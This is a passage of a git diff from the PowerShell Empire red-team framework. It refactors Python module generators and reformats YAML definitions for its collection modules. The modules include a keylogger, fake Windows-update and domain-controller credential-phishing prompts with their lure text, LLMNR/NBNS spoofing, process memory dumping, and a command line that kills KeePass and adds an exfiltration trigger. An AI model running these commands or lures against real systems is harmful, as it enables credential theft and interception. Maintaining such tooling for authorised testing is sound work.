index c2710c83c..56bf51273 100644
--- a/empire/server/modules/powershell/collection/get_sql_column_sample_data.py
+++ b/empire/server/modules/powershell/collection/get_sql_column_sample_data.py
@@ -1,20 +1,17 @@
from __future__ import print_function
-import pathlib
from builtins import object, str
from typing import Dict
from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
-from empire.server.utils import data_util
-from empire.server.utils.module_util import handle_error_message
+from empire.server.core.module_models import EmpireModule
class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
@@ -27,31 +24,23 @@ def generate(
script_end = ""
# read in the common module source code
- script, err = main_menu.modules.get_module_source(
+ script, err = main_menu.modulesv2.get_module_source(
module_name="collection/Get-SQLColumnSampleData.ps1",
obfuscate=obfuscate,
obfuscate_command=obfuscation_command,
)
if check_all:
- aux_module_source = main_menu.modules.get_module_source(
+ aux_module_source = main_menu.modulesv2.get_module_source(
module_name="situational_awareness/network/Get-SQLInstanceDomain.ps1",
obfuscate=obfuscate,
obfuscate_command=obfuscation_command,
)
- if obfuscate:
- data_util.obfuscate_module(
- moduleSource=aux_module_source,
- obfuscationCommand=obfuscation_command,
- )
- aux_module_source = module_source.replace(
- "module_source", "obfuscated_module_source"
- )
try:
with open(aux_module_source, "r") as auxSource:
aux_script = auxSource.read()
script += " " + aux_script
- except:
+ except Exception:
print(
helpers.color(
"[!] Could not read additional module source path at: "
@@ -82,7 +71,7 @@ def generate(
+ ' completed!"'
)
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end=script_end,
obfuscate=obfuscate,
diff --git a/empire/server/modules/powershell/collection/get_sql_column_sample_data.yaml b/empire/server/modules/powershell/collection/get_sql_column_sample_data.yaml
index cf1de5403..233c6caca 100644
--- a/empire/server/modules/powershell/collection/get_sql_column_sample_data.yaml
+++ b/empire/server/modules/powershell/collection/get_sql_column_sample_data.yaml
@@ -1,10 +1,15 @@
name: Get-SQLColumnSampleData
authors:
- - '@_nullbind'
- - '@0xbadjuju'
-description: Returns column information from target SQL Servers. Supports search by
- keywords, sampling data, and validating credit card numbers.
+ - name: ''
+ handle: '@_nullbind'
+ link: ''
+ - name: ''
+ handle: '@0xbadjuju'
+ link: ''
+description: Returns column information from target SQL Servers. Supports search by keywords, sampling data, and validating
+ credit card numbers.
software: ''
+tactics: []
techniques:
- T1046
background: true
@@ -43,7 +48,7 @@ options:
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
diff --git a/empire/server/modules/powershell/collection/get_sql_query.yaml b/empire/server/modules/powershell/collection/get_sql_query.yaml
index fb58829bd..da2d22f83 100644
--- a/empire/server/modules/powershell/collection/get_sql_query.yaml
+++ b/empire/server/modules/powershell/collection/get_sql_query.yaml
@@ -1,9 +1,14 @@
name: Get-SQLQuery
authors:
- - '@_nullbind'
- - '@0xbadjuju'
+ - name: ''
+ handle: '@_nullbind'
+ link: ''
+ - name: ''
+ handle: '@0xbadjuju'
+ link: ''
description: Executes a query on target SQL servers.
software: ''
+tactics: []
techniques:
- T1046
background: true
@@ -38,7 +43,7 @@ options:
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: true
suggested_values:
- Out-String
@@ -46,5 +51,5 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'collection/Get-SQLQuery.ps1'
+script_path: collection/Get-SQLQuery.ps1
script_end: Get-SQLQuery {{ PARAMS }} | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Get-SQLQuery completed'
diff --git a/empire/server/modules/powershell/collection/inveigh.yaml b/empire/server/modules/powershell/collection/inveigh.yaml
index d490a606a..34f752163 100644
--- a/empire/server/modules/powershell/collection/inveigh.yaml
+++ b/empire/server/modules/powershell/collection/inveigh.yaml
@@ -1,11 +1,13 @@
name: Invoke-Inveigh
authors:
- - Kevin Robertson
-description: Inveigh is a Windows PowerShell LLMNR/mDNS/NBNS spoofer/man-in-the-middle
- tool. Note that this module exposes only a subset of Inveigh's parameters. Inveigh
- can be used through Empire's scriptimport and scriptcmd if additional parameters
+ - name: Kevin Robertson
+ handle: ''
+ link: ''
+description: Inveigh is a Windows PowerShell LLMNR/mDNS/NBNS spoofer/man-in-the-middle tool. Note that this module exposes
+ only a subset of Inveigh's parameters. Inveigh can be used through Empire's scriptimport and scriptcmd if additional parameters
are needed.
software: ''
+tactics: []
techniques:
- T1171
background: true
@@ -22,24 +24,23 @@ options:
required: true
value: ''
- name: ConsoleOutput
- description: '(Low/Medium/Y) Default = Y: Enable/Disable real time console output.
- Medium and Low can be used to reduce output.'
+ description: '(Low/Medium/Y) Default = Y: Enable/Disable real time console output. Medium and Low can be used to reduce
+ output.'
required: false
value: ''
- name: ConsoleStatus
- description: Interval in minutes for displaying all unique captured hashes and credentials.
- This will display a clean list of captures in Empire.
+ description: Interval in minutes for displaying all unique captured hashes and credentials. This will display a clean
+ list of captures in Empire.
required: false
value: ''
- name: ConsoleUnique
- description: '(Y/N) Default = Y: Enable/Disable displaying challenge/response hashes
- for only unique IP, domain/hostname, and username combinations.'
+ description: '(Y/N) Default = Y: Enable/Disable displaying challenge/response hashes for only unique IP, domain/hostname,
+ and username combinations.'
required: false
value: ''
- name: ElevatedPrivilege
- description: '(Auto/Y/N) Default = Auto: Set the privilege mode. Auto will determine
- if Inveigh is running with elevated privilege. If so, options that require elevated
- privilege can be used.'
+ description: '(Auto/Y/N) Default = Auto: Set the privilege mode. Auto will determine if Inveigh is running with elevated
+ privilege. If so, options that require elevated privilege can be used.'
required: false
value: ''
- name: HTTP
@@ -47,19 +48,19 @@ options:
required: false
value: ''
- name: HTTPAuth
- description: (Anonymous/Basic/NTLM/NTLMNoESS) HTTP listener authentication type.
- This setting does not apply to wpad.dat requests.
+ description: (Anonymous/Basic/NTLM/NTLMNoESS) HTTP listener authentication type. This setting does not apply to wpad.dat
+ requests.
required: false
value: ''
- name: HTTPContentType
- description: Content type for HTTP/Proxy responses. Does not apply to EXEs and wpad.dat.
- Set to "application/hta" for HTA files or when using HTA code with HTTPResponse.
+ description: Content type for HTTP/Proxy responses. Does not apply to EXEs and wpad.dat. Set to "application/hta" for
+ HTA files or when using HTA code with HTTPResponse.
required: false
value: ''
- name: HTTPResponse
- description: Content to serve as the default HTTP/Proxy response. This response
- will not be used for wpad.dat requests. Use PowerShell escape characters and newlines
- where necessary. This paramater will be wrapped in double quotes by this module.
+ description: Content to serve as the default HTTP/Proxy response. This response will not be used for wpad.dat requests.
+ Use PowerShell escape characters and newlines where necessary. This paramater will be wrapped in double quotes by this
+ module.
required: false
value: ''
- name: Inspect
@@ -67,9 +68,8 @@ options:
required: false
value: ''
- name: IP
- description: Local IP address for listening and packet sniffing. This IP address
- will also be used for LLMNR/mDNS/NBNS spoofing if the SpooferIP parameter is not
- set.
+ description: Local IP address for listening and packet sniffing. This IP address will also be used for LLMNR/mDNS/NBNS
+ spoofing if the SpooferIP parameter is not set.
required: false
value: ''
- name: LLMNR
@@ -81,8 +81,8 @@ options:
required: false
value: ''
- name: mDNSTypes
- description: '(QU,QM) Default = QU: Comma separated list of mDNS types to spoof.
- Note that QM will send the response to 224.0.0.251.'
+ description: '(QU,QM) Default = QU: Comma separated list of mDNS types to spoof. Note that QM will send the response to
+ 224.0.0.251.'
required: false
value: ''
- name: NBNS
@@ -98,7 +98,7 @@ options:
required: false
value: ''
- name: ProxyPort
- description: 'Default = 8492: TCP port for the Inveigh''s proxy listener.'
+ description: "Default = 8492: TCP port for the Inveigh's proxy listener."
required: false
value: ''
- name: RunCount
@@ -114,8 +114,8 @@ options:
required: false
value: ''
- name: SpooferIP
- description: Response IP address for spoofing. This parameter is only necessary
- when redirecting victims to a system other than the Inveigh host.
+ description: Response IP address for spoofing. This parameter is only necessary when redirecting victims to a system other
+ than the Inveigh host.
required: false
value: ''
- name: SpooferHostsIgnore
@@ -139,19 +139,17 @@ options:
required: false
value: ''
- name: SpooferLearningDelay
- description: Time in minutes that Inveigh will delay spoofing while valid hosts
- are being blacklisted through SpooferLearning.
+ description: Time in minutes that Inveigh will delay spoofing while valid hosts are being blacklisted through SpooferLearning.
required: false
value: ''
- name: SpooferRepeat
- description: '(Y/N) Default = Y: Enable/Disable repeated LLMNR/NBNS spoofs to a
- victim system after one user challenge/response has been captured.'
+ description: '(Y/N) Default = Y: Enable/Disable repeated LLMNR/NBNS spoofs to a victim system after one user challenge/response
+ has been captured.'
required: false
value: ''
- name: WPADAuth
- description: (Anonymous/Basic/NTLM/NTLMNoESS) HTTP listener authentication type
- for wpad.dat requests.
+ description: (Anonymous/Basic/NTLM/NTLMNoESS) HTTP listener authentication type for wpad.dat requests.
required: false
value: ''
-script_path: 'collection/Invoke-Inveigh.ps1'
-script_end: Invoke-Inveigh -Tool "2" -MachineAccounts Y {{ PARAMS }}
\ No newline at end of file
+script_path: collection/Invoke-Inveigh.ps1
+script_end: Invoke-Inveigh -Tool "2" -MachineAccounts Y {{ PARAMS }}
diff --git a/empire/server/modules/powershell/collection/keylogger.yaml b/empire/server/modules/powershell/collection/keylogger.yaml
index 3e29e3e28..783644062 100644
--- a/empire/server/modules/powershell/collection/keylogger.yaml
+++ b/empire/server/modules/powershell/collection/keylogger.yaml
@@ -1,11 +1,18 @@
name: Get-KeyStrokes
authors:
- - '@obscuresec'
- - '@mattifestation'
- - '@harmj0y'
-description: Logs keys pressed, time and the active window (when changed) to the keystrokes.txt
- file. This file is located in the agents downloads directory Empire/downloads//keystrokes.txt.
+ - name: ''
+ handle: '@obscuresec'
+ link: ''
+ - name: Matt Graeber
+ handle: '@mattifestation'
+ link: https://twitter.com/mattifestation
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
+description: Logs keys pressed, time and the active window (when changed) to the keystrokes.txt file. This file is located
+ in the agents downloads directory Empire/downloads//keystrokes.txt.
software: ''
+tactics: []
techniques:
- T1056
background: true
@@ -22,9 +29,8 @@ options:
required: true
value: ''
- name: Sleep
- description: Sleep time [ms] between key presses. Shorter times may increase CPU
- usage on the target.
+ description: Sleep time [ms] between key presses. Shorter times may increase CPU usage on the target.
required: false
- value: '1'
-script_path: 'collection/Get-Keystrokes.ps1'
-script_end: Get-Keystrokes {{ PARAMS }}
\ No newline at end of file
+ value: '0'
+script_path: collection/Get-Keystrokes.ps1
+script_end: Get-Keystrokes {{ PARAMS }}
diff --git a/empire/server/modules/powershell/collection/minidump.py b/empire/server/modules/powershell/collection/minidump.py
index ac5ed1bf2..a8134e69d 100644
--- a/empire/server/modules/powershell/collection/minidump.py
+++ b/empire/server/modules/powershell/collection/minidump.py
@@ -1,12 +1,9 @@
from __future__ import print_function
-import pathlib
from builtins import object, str
from typing import Dict
-from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
-from empire.server.utils import data_util
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -14,14 +11,13 @@ class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
-
# read in the common module source code
- script, err = main_menu.modules.get_module_source(
+ script, err = main_menu.modulesv2.get_module_source(
module_name=module.script_path,
obfuscate=obfuscate,
obfuscate_command=obfuscation_command,
@@ -48,7 +44,7 @@ def generate(
):
script_end += " -" + str(option) + " " + str(values)
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end=script_end,
obfuscate=obfuscate,
diff --git a/empire/server/modules/powershell/collection/minidump.yaml b/empire/server/modules/powershell/collection/minidump.yaml
index c3fe4a566..b0a8c82aa 100644
--- a/empire/server/modules/powershell/collection/minidump.yaml
+++ b/empire/server/modules/powershell/collection/minidump.yaml
@@ -1,9 +1,12 @@
name: Out-Minidump
authors:
- - '@mattifestation'
-description: 'Generates a full-memory dump of a process. Note: To dump another user''s
- process, you must be running from an elevated prompt (e.g to dump lsass)'
+ - name: Matt Graeber
+ handle: '@mattifestation'
+ link: https://twitter.com/mattifestation
+description: "Generates a full-memory dump of a process. Note: To dump another user's process, you must be running from an\
+ \ elevated prompt (e.g to dump lsass)"
software: ''
+tactics: []
techniques:
- T1033
background: true
@@ -28,10 +31,9 @@ options:
required: false
value: ''
- name: DumpFilePath
- description: Specifies the folder path where dump files will be written. Defaults
- to the current user directory.
+ description: Specifies the folder path where dump files will be written. Defaults to the current user directory.
required: false
value: ''
-script_path: 'collection/Out-Minidump.ps1'
+script_path: collection/Out-Minidump.ps1
advanced:
- custom_generate: true
\ No newline at end of file
+ custom_generate: true
diff --git a/empire/server/modules/powershell/collection/netripper.yaml b/empire/server/modules/powershell/collection/netripper.yaml
index 73651a9a7..a7579ec54 100644
--- a/empire/server/modules/powershell/collection/netripper.yaml
+++ b/empire/server/modules/powershell/collection/netripper.yaml
@@ -1,13 +1,19 @@
name: Invoke-NetRipper
authors:
- - Ionut Popescu (@NytroRST)
- - '@mattifestation'
- - '@harmj0y'
-description: Injects NetRipper into targeted processes, which uses API hooking in
- order to intercept network traffic and encryption related functions from a low privileged
- user, being able to capture both plain-text traffic and encrypted traffic before
+ - name: Ionut Popescu (@NytroRST)
+ handle: ''
+ link: ''
+ - name: Matt Graeber
+ handle: '@mattifestation'
+ link: https://twitter.com/mattifestation
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
+description: Injects NetRipper into targeted processes, which uses API hooking in order to intercept network traffic and encryption
+ related functions from a low privileged user, being able to capture both plain-text traffic and encrypted traffic before
encryption/after decryption.
software: ''
+tactics: []
techniques:
- T1179
- T1410
@@ -29,8 +35,7 @@ options:
required: false
value: ''
- name: ProcessName
- description: Inject the NetRipper dll into all processes with the given name (i.e.
- putty).
+ description: Inject the NetRipper dll into all processes with the given name (i.e. putty).
required: false
value: ''
- name: LogLocation
@@ -49,5 +54,5 @@ options:
description: Strings to search for in traffic.
required: true
value: user,login,pass,database,config
-script_path: 'collection/Invoke-NetRipper.ps1'
-script_end: Invoke-NetRipper {{ PARAMS }}
\ No newline at end of file
+script_path: collection/Invoke-NetRipper.ps1
+script_end: Invoke-NetRipper {{ PARAMS }}
diff --git a/empire/server/modules/powershell/collection/ninjacopy.yaml b/empire/server/modules/powershell/collection/ninjacopy.yaml
index 5bee64ed8..e3d7de502 100644
--- a/empire/server/modules/powershell/collection/ninjacopy.yaml
+++ b/empire/server/modules/powershell/collection/ninjacopy.yaml
@@ -1,9 +1,11 @@
name: Invoke-NinjaCopy
authors:
- - '@JosephBialek'
-description: Copies a file from an NTFS partitioned volume by reading the raw volume
- and parsing the NTFS structures.
+ - name: Joseph Bialek
+ handle: '@JosephBialek'
+ link: https://twitter.com/JosephBialek
+description: Copies a file from an NTFS partitioned volume by reading the raw volume and parsing the NTFS structures.
software: ''
+tactics: []
techniques:
- T1105
background: true
@@ -29,13 +31,12 @@ options:
required: false
value: ''
- name: RemoteDestination
- description: A file path to copy the file to on the remote computer. If this isn't
- used, LocalDestination must be specified.
+ description: A file path to copy the file to on the remote computer. If this isn't used, LocalDestination must be specified.
required: false
value: ''
- name: ComputerName
description: An array of computernames to run the script on.
required: false
value: ''
-script_path: 'collection/Invoke-NinjaCopy.ps1'
+script_path: collection/Invoke-NinjaCopy.ps1
script_end: $null = Invoke-NinjaCopy {{ PARAMS }}; Write-Output 'Invoke-NinjaCopy Completed'
diff --git a/empire/server/modules/powershell/collection/packet_capture.py b/empire/server/modules/powershell/collection/packet_capture.py
index b83b11a12..a85364856 100644
--- a/empire/server/modules/powershell/collection/packet_capture.py
+++ b/empire/server/modules/powershell/collection/packet_capture.py
@@ -1,19 +1,16 @@
from __future__ import print_function
-import pathlib
from builtins import object, str
from typing import Dict
-from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
-from empire.server.utils import data_util
+from empire.server.core.module_models import EmpireModule
class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
@@ -35,7 +32,7 @@ def generate(
if persistent != "":
script += " persistent=yes"
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end="",
obfuscate=obfuscate,
diff --git a/empire/server/modules/powershell/collection/packet_capture.yaml b/empire/server/modules/powershell/collection/packet_capture.yaml
index 555329e22..5db6d3df0 100644
--- a/empire/server/modules/powershell/collection/packet_capture.yaml
+++ b/empire/server/modules/powershell/collection/packet_capture.yaml
@@ -1,9 +1,14 @@
name: Invoke-PacketCapture
authors:
- - '@obscuresec'
- - '@mattifestation'
+ - name: ''
+ handle: '@obscuresec'
+ link: ''
+ - name: Matt Graeber
+ handle: '@mattifestation'
+ link: https://twitter.com/mattifestation
description: Starts a packet capture on a host using netsh.
software: ''
+tactics: []
techniques:
- T1040
background: false
@@ -37,4 +42,4 @@ options:
required: false
value: ''
advanced:
- custom_generate: true
\ No newline at end of file
+ custom_generate: true
diff --git a/empire/server/modules/powershell/collection/prompt.yaml b/empire/server/modules/powershell/collection/prompt.yaml
index 740f14f05..82975088e 100644
--- a/empire/server/modules/powershell/collection/prompt.yaml
+++ b/empire/server/modules/powershell/collection/prompt.yaml
@@ -1,11 +1,18 @@
name: Invoke-Prompt
authors:
- - 'greg.fossk'
- - '@harmj0y'
- - 'enigma0x3'
+ - name: greg.fossk
+ handle: ''
+ link: ''
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
+ - name: enigma0x3
+ handle: ''
+ link: ''
description: |
Prompts the current user to enter their credentials in a forms box and returns the results.
software:
+tactics: []
techniques:
- T1141
- T1514
@@ -16,8 +23,8 @@ opsec_safe: false
language: powershell
min_language_version: '2'
comments:
- - 'http://blog.logrhythm.com/security/do-you-trust-your-computer/'
- - 'https://enigma0x3.wordpress.com/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/'
+ - http://blog.logrhythm.com/security/do-you-trust-your-computer/
+ - https://enigma0x3.wordpress.com/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/
options:
- name: Agent
description: Agent to run module on.
@@ -26,15 +33,15 @@ options:
- name: MsgText
description: Message text to display if not waiting for a process create.
required: true
- value: 'Lost contact with the Domain Controller.'
+ value: Lost contact with the Domain Controller.
- name: IconType
description: Critical, Question, Exclamation, or Information
required: true
- value: 'Critical'
+ value: Critical
- name: Title
description: Title of the message box to display if not waiting for a process create.
required: true
- value: 'ERROR - 0xA801B720'
+ value: ERROR - 0xA801B720
script: |
# Adapted from http://blog.logrhythm.com/security/do-you-trust-your-computer/
# https://enigma0x3.wordpress.com/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/
diff --git a/empire/server/modules/powershell/collection/screenshot.py b/empire/server/modules/powershell/collection/screenshot.py
index 3dfad2fe9..7d270ccd4 100644
--- a/empire/server/modules/powershell/collection/screenshot.py
+++ b/empire/server/modules/powershell/collection/screenshot.py
@@ -1,12 +1,9 @@
from __future__ import print_function
-import pathlib
from builtins import object, str
from typing import Dict
-from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
-from empire.server.utils import data_util
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -14,14 +11,13 @@ class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
-
# read in the common module source code
- script, err = main_menu.modules.get_module_source(
+ script, err = main_menu.modulesv2.get_module_source(
module_name=module.script_path,
obfuscate=obfuscate,
obfuscate_command=obfuscation_command,
@@ -49,7 +45,7 @@ def generate(
else:
script_end += " -" + str(option) + " " + str(values)
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end=script_end,
obfuscate=obfuscate,
diff --git a/empire/server/modules/powershell/collection/screenshot.yaml b/empire/server/modules/powershell/collection/screenshot.yaml
index 916e0db25..872f6e55f 100644
--- a/empire/server/modules/powershell/collection/screenshot.yaml
+++ b/empire/server/modules/powershell/collection/screenshot.yaml
@@ -1,10 +1,14 @@
name: Get-Screenshot
authors:
- - '@obscuresec'
- - '@harmj0y'
-description: Takes a screenshot of the current desktop and returns the output as a
- .PNG.
+ - name: ''
+ handle: '@obscuresec'
+ link: ''
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
+description: Takes a screenshot of the current desktop and returns the output as a .PNG.
software: ''
+tactics: []
techniques:
- T1113
background: false
@@ -24,6 +28,6 @@ options:
description: 'JPEG Compression ratio: 1 to 100.'
required: false
value: ''
-script_path: 'collection/Get-Screenshot.ps1'
+script_path: collection/Get-Screenshot.ps1
advanced:
- custom_generate: true
\ No newline at end of file
+ custom_generate: true
diff --git a/empire/server/modules/powershell/collection/toasted.yaml b/empire/server/modules/powershell/collection/toasted.yaml
index 92ecbfcfa..15ecd3bfa 100644
--- a/empire/server/modules/powershell/collection/toasted.yaml
+++ b/empire/server/modules/powershell/collection/toasted.yaml
@@ -1,11 +1,15 @@
name: Invoke-CredentialPhisher
authors:
- - Powershell script by @foxit
- - Empire implementation by @Quickbreach
-description: Spawns a native toast notification that, if clicked, prompts the current
- user to enter their credentials into a native looking prompt. Notification stays
- on screen for ~25 seconds. Requires Windows >= 8.1/2012
+ - name: Powershell script by @foxit
+ handle: ''
+ link: ''
+ - name: Empire implementation by @Quickbreach
+ handle: ''
+ link: ''
+description: Spawns a native toast notification that, if clicked, prompts the current user to enter their credentials into
+ a native looking prompt. Notification stays on screen for ~25 seconds. Requires Windows >= 8.1/2012
software: ''
+tactics: []
techniques:
- T1141
- T1514
@@ -25,38 +29,36 @@ options:
- name: ToastTitle
description: Title of toast notification box
required: true
- value: 'Windows will restart in 5 minutes to finish installing updates'
+ value: Windows will restart in 5 minutes to finish installing updates
- name: ToastMessage
description: Message of toast notification box
required: true
- value: 'Windows will soon restart to complete applying recently installed updates.
- Use the drop down below to reschedule the restart for a later time.'
+ value: Windows will soon restart to complete applying recently installed updates. Use the drop down below to reschedule
+ the restart for a later time.
- name: Application
- description: Name of the application to claim launched the prompt (ie. "outlook",
- "explorer")
+ description: Name of the application to claim launched the prompt (ie. "outlook", "explorer")
required: true
- value: 'System Configuration'
+ value: System Configuration
- name: CredBoxTitle
description: Title on the box prompting for credentials
required: true
- value: 'Are you sure you want to reschedule restarting your PC?'
+ value: Are you sure you want to reschedule restarting your PC?
- name: CredBoxMessage
description: Message of the box prompting for credentials
required: true
- value: 'Authentication is required to reschedule a system restart'
+ value: Authentication is required to reschedule a system restart
- name: ToastType
description: Type of Toast notification ("System" or "Application")
required: true
value: System
- name: VerifyCreds
- description: Switch. True/False to verify the creds a user provides, and prompt
- them again until they either click cancel or enter valid creds (default = false)
+ description: Switch. True/False to verify the creds a user provides, and prompt them again until they either click cancel
+ or enter valid creds (default = false)
required: false
value: ''
- name: HideProcess
- description: Switch. True/False to hide the window of the process we claim launched
- the prompt (default = false)
+ description: Switch. True/False to hide the window of the process we claim launched the prompt (default = false)
required: false
value: ''
-script_path: 'collection/Invoke-CredentialPhisher.ps1'
+script_path: collection/Invoke-CredentialPhisher.ps1
script_end: Invoke-CredentialPhisher {{ PARAMS }}
diff --git a/empire/server/modules/powershell/collection/vaults/add_keepass_config_trigger.yaml b/empire/server/modules/powershell/collection/vaults/add_keepass_config_trigger.yaml
index 8f8f49a8e..f945895e8 100644
--- a/empire/server/modules/powershell/collection/vaults/add_keepass_config_trigger.yaml
+++ b/empire/server/modules/powershell/collection/vaults/add_keepass_config_trigger.yaml
@@ -1,10 +1,14 @@
name: Add-KeePassConfigTrigger
authors:
- - '@tifkin_'
- - '@harmj0y'
-description: This module adds a KeePass exfiltration trigger to all KeePass configs
- found by Find-KeePassConfig.
+ - name: Lee Christensen
+ handle: '@tifkin_'
+ link: https://twitter.com/tifkin_
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
+description: This module adds a KeePass exfiltration trigger to all KeePass configs found by Find-KeePassConfig.
software: ''
+tactics: []
techniques:
- T1119
background: true
@@ -21,8 +25,7 @@ options:
required: true
value: ''
- name: Action
- description: '''ExportDatabase'' (export opened databases to $ExportPath) or ''ExfilDataCopied''
- (export copied data to $ExportPath).'
+ description: "'ExportDatabase' (export opened databases to $ExportPath) or 'ExfilDataCopied' (export copied data to $ExportPath)."
required: true
value: ExportDatabase
- name: ExportPath
@@ -36,7 +39,7 @@ options:
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -44,5 +47,6 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'collection/vaults/KeePassConfig.ps1'
-script_end: Get-Process *keepass* | Stop-Process -Force; Find-KeePassconfig | Add-KeePassConfigTrigger {{ PARAMS }}; Find-KeePassconfig | Get-KeePassConfigTrigger | Format-List | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Add-KeePassConfigTrigger completed'
+script_path: collection/vaults/KeePassConfig.ps1
+script_end: Get-Process *keepass* | Stop-Process -Force; Find-KeePassconfig | Add-KeePassConfigTrigger {{ PARAMS }}; Find-KeePassconfig
+ | Get-KeePassConfigTrigger | Format-List | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Add-KeePassConfigTrigger completed'
diff --git a/empire/server/modules/powershell/collection/vaults/find_keepass_config.yaml b/empire/server/modules/powershell/collection/vaults/find_keepass_config.yaml
index 0afca35bf..d0bae38ce 100644
--- a/empire/server/modules/powershell/collection/vaults/find_keepass_config.yaml
+++ b/empire/server/modules/powershell/collection/vaults/find_keepass_config.yaml
@@ -1,10 +1,14 @@
name: Find-KeePassconfig
authors:
- - '@tifkin_'
- - '@harmj0y'
-description: This module finds and parses any KeePass.config.xml (2.X) and KeePass.ini
- (1.X) files.
+ - name: Lee Christensen
+ handle: '@tifkin_'
+ link: https://twitter.com/tifkin_
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
+description: This module finds and parses any KeePass.config.xml (2.X) and KeePass.ini (1.X) files.
software: ''
+tactics: []
techniques:
- T1119
background: true
@@ -23,7 +27,7 @@ options:
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -31,5 +35,5 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'collection/vaults/KeePassConfig.ps1'
+script_path: collection/vaults/KeePassConfig.ps1
script_end: Find-KeePassconfig | Format-List | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Find-KeePassconfig completed'
diff --git a/empire/server/modules/powershell/collection/vaults/get_keepass_config_trigger.yaml b/empire/server/modules/powershell/collection/vaults/get_keepass_config_trigger.yaml
index 568f7646f..42e0bafdf 100644
--- a/empire/server/modules/powershell/collection/vaults/get_keepass_config_trigger.yaml
+++ b/empire/server/modules/powershell/collection/vaults/get_keepass_config_trigger.yaml
@@ -1,10 +1,14 @@
name: Get-KeePassconfig
authors:
- - '@tifkin_'
- - '@harmj0y'
-description: This module extracts out the trigger specifications from a KeePass 2.X
- configuration XML file.
+ - name: Lee Christensen
+ handle: '@tifkin_'
+ link: https://twitter.com/tifkin_
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
+description: This module extracts out the trigger specifications from a KeePass 2.X configuration XML file.
software: ''
+tactics: []
techniques:
- T1119
background: true
@@ -23,7 +27,7 @@ options:
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -31,5 +35,6 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'collection/vaults/KeePassConfig.ps1'
-script_end: Find-KeePassconfig | Get-KeePassConfigTrigger | Format-List | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Get-KeePassconfig completed'
+script_path: collection/vaults/KeePassConfig.ps1
+script_end: Find-KeePassconfig | Get-KeePassConfigTrigger | Format-List | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Get-KeePassconfig
+ completed'
diff --git a/empire/server/modules/powershell/collection/vaults/keethief.yaml b/empire/server/modules/powershell/collection/vaults/keethief.yaml
index 75128d38d..5fc5c88a8 100644
--- a/empire/server/modules/powershell/collection/vaults/keethief.yaml
+++ b/empire/server/modules/powershell/collection/vaults/keethief.yaml
@@ -1,10 +1,14 @@
name: Invoke-KeeThief
authors:
- - '@tifkin_'
- - '@harmj0y'
-description: This module retrieves database mastey key information for unlocked KeePass
- database.
+ - name: Lee Christensen
+ handle: '@tifkin_'
+ link: https://twitter.com/tifkin_
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
+description: This module retrieves database mastey key information for unlocked KeePass database.
software: ''
+tactics: []
techniques:
- T1033
background: true
@@ -23,7 +27,7 @@ options:
- name: OutputFunction
